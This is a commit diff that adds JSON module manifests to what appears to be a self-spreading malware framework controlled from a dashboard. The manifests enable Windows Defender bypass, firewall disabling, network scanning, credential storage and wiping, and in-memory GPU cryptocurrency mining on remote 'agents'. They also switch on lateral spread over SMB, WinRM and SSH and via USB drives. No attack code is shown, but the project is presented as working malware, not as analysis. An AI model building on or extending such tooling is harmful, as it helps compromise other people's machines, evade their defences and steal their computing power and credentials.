feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

data/modules/crucible_ops.json

@@ -0,0 +1,19 @@
+{
+  "name": "crucible_ops",
+  "version": "1",
+  "display_name": "Crucible Ops",
+  "summary": "Dashboard remote aggressive ops — tunnels, scans, firewall, defender",
+  "description": "Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.",
+  "accent": "magenta",
+  "capabilities": [
+    "Remote tunnels (cloudflared, SSH forward)",
+    "Subnet scan & SMB share enumeration",
+    "Firewall punch / disable / profile control",
+    "Defender RTP bypass (Windows)",
+    "On-demand spread_now trigger",
+    "Credential vault & secure wipe"
+  ],
+  "features": {
+    "remote_aggressive": true
+  }
+}

data/modules/gpu.json

@@ -0,0 +1,17 @@
+{
+  "name": "gpu",
+  "version": "1",
+  "display_name": "GPU Miner",
+  "summary": "KawPoW RVN GPU mining when hardware and wallet are present",
+  "description": "Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.",
+  "accent": "gold",
+  "capabilities": [
+    "KawPoW RVN miner (T-Rex / TRM)",
+    "GPU hashrate telemetry on dashboard",
+    "Pause/resume with fleet policy",
+    "Windows NVIDIA/AMD when drivers present"
+  ],
+  "features": {
+    "gpu_enabled": true
+  }
+}

data/modules/spread.json

@@ -0,0 +1,19 @@
+{
+  "name": "spread",
+  "version": "1",
+  "display_name": "Spread Pack",
+  "summary": "Lateral and passive spread — SMB auto-spread plus USB/WMI hooks",
+  "description": "Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.",
+  "accent": "cyan",
+  "capabilities": [
+    "SMB / WinRM auto-spread scheduler",
+    "SSH lateral spread (Linux/macOS)",
+    "USB removable-media propagation",
+    "WMI-based passive hooks (Windows)",
+    "Spread status & funnel telemetry"
+  ],
+  "features": {
+    "auto_spread": true,
+    "usb_spread": true
+  }
+}